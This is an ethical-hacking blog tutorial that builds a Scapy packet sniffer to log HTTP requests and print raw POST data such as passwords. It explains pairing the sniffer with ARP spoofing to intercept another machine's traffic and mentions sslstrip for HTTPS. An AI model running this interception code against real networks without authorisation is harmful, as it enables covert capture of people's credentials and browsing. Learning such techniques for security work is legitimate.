How to Sniff HTTP Packets in the Network using Scapy in Python

Abdou Rockikz · 25 aug 2019

Abdou Rockikz · 5 min read · Updated oct 2019 · Ethical Hacking · Packet Manipulation Using Scapy

Monitoring the network always seems to be a useful task for network security engineers, as it enables them to see what is happening in the network, see and control malicious traffic, etc. In this tutorial, you will see how you can sniff HTTP packets in the network using Scapy in Python.

The basic idea behind the recipe you will see in a minute is that we keep sniffing packets, once an HTTP request is detected, we gonna extract some information and print them out, easy enough? let's get started.

In Scapy 2.4.3+, HTTP packets are supported by default. Let's install the requirements for this tutorial:

pip3 install scapy colorama

We need colorama here just for fancy printing.

Let's import the necessary modules:

from scapy.all import *
from scapy.layers.http import HTTPRequest # import HTTP packet
from colorama import init, Fore
# initialize colorama
init()
# define colors
GREEN = Fore.GREEN
RED   = Fore.RED
RESET = Fore.RESET

Let's define the function that handles sniffing:

def sniff_packets(iface=None):
    """
    Sniff 80 port packets with `iface`, if None (default), then the
    Scapy's default interface is used
    """
    if iface:
        # port 80 for http (generally)
        # `process_packet` is the callback
        sniff(filter="port 80", prn=process_packet, iface=iface, store=False)
    else:
        # sniff with default interface
        sniff(filter="port 80", prn=process_packet, store=False)

As you may notice, we specified port 80 here, that is because HTTP's standard port is 80, so we're already filtering out packets that we don't need.

We passed the process_packet() function to sniff() function as the callback that is called whenever a packet is sniffed, it takes packet as an argument, let's implement it:

def process_packet(packet):
    """
    This function is executed whenever a packet is sniffed
    """
    if packet.haslayer(HTTPRequest):
        # if this packet is an HTTP Request
        # get the requested URL
        url = packet[HTTPRequest].Host.decode() + packet[HTTPRequest].Path.decode()
        # get the requester's IP Address
        ip = packet[IP].src
        # get the request method
        method = packet[HTTPRequest].Method.decode()
        print(f"\n{GREEN}[+] {ip} Requested {url} with {method}{RESET}")
        if show_raw and packet.haslayer(Raw) and method == "POST":
            # if show_raw flag is enabled, has raw data, and the requested method is "POST"
            # then show raw
            print(f"\n{RED}[*] Some useful Raw data: {packet[Raw].load}{RESET}")

We are extracting the requested URL, requester's IP and the request method here, but don't be limited to that, try to print the whole HTTP request packet using packet.show() method, you'll see tremendous amount of information you can extract there.

Don't worry about show_raw variable, it is just a global flag that indicates whether we print POST raw data, such as passwords, search queries, etc. We're going to pass it in the script's arguments.

Now let's implement the main code:

if __name__ == "__main__":
    import argparse
    parser = argparse.ArgumentParser(description="HTTP Packet Sniffer, this is useful when you're a man in the middle." \
                                                 + "It is suggested that you run arp spoof before you use this script, otherwise it'll sniff your personal packets")
    parser.add_argument("-i", "--iface", help="Interface to use, default is scapy's default interface")
    parser.add_argument("--show-raw", dest="show_raw", action="store_true", help="Whether to print POST raw data, such as passwords, search queries, etc.")
    # parse arguments
    args = parser.parse_args()
    iface = args.iface
    show_raw = args.show_raw
    sniff_packets(iface)

We've used argparse module to parse arguments from the command line or terminal, let's run the script now (I've named it http_filter.py):

root@rockikz:~/pythonscripts# python3 http_sniffer.py -i wlan0 --show-raw

Here is the output after browsing HTTP websites in my local machine:

HTTP Requests capturedYou may wonder now what is the benefit of sniffing HTTP packets on my local computer. Well, you can sniff packets all over the network or a specific host when you are a man-in-the-middle.

To do that, you need to arp spoof the target using this script, here is how you use it:

ARP Spoof attack

At this moment, we are spoofing "192.168.1.100" saying that we are the router, so any packet that goes to or come out of that target machine will flow to us first, then to the router. For more information, check this tutorial.

Let's try to run again the http_filter.py script:

root@rockikz:~/pythonscripts# python3 http_sniffer.py -i wlan0 --show-raw

After browsing the internet in "192.168.1.100" (which is my Windows machine), I got this output:

[+] 192.168.1.100 Requested google.com/ with GET
[+] 192.168.1.100 Requested www.google.com/ with GET
[+] 192.168.1.100 Requested www.thepythoncode.com/ with GET
[+] 192.168.1.100 Requested www.thepythoncode.com/contact with GET

Pretty cool, right? Note that you can also extend that using sslstrip to be able to sniff HTTPS requests also!

DISCLAIMER: Use this on a network you have permission, the author isn't responsible for any damage you cause to a network you don't have permission to.

Alright, so this was a quick demonstration on how you can sniff packets in the network, this is an example though, you can change the code what ever you like, experiment with it!

Happy Sniffing ♥

View Full Code
Sharing is caring!


Read Also





Comment panel

   
Comment system is still in Beta, if you find any bug, please consider contacting us here.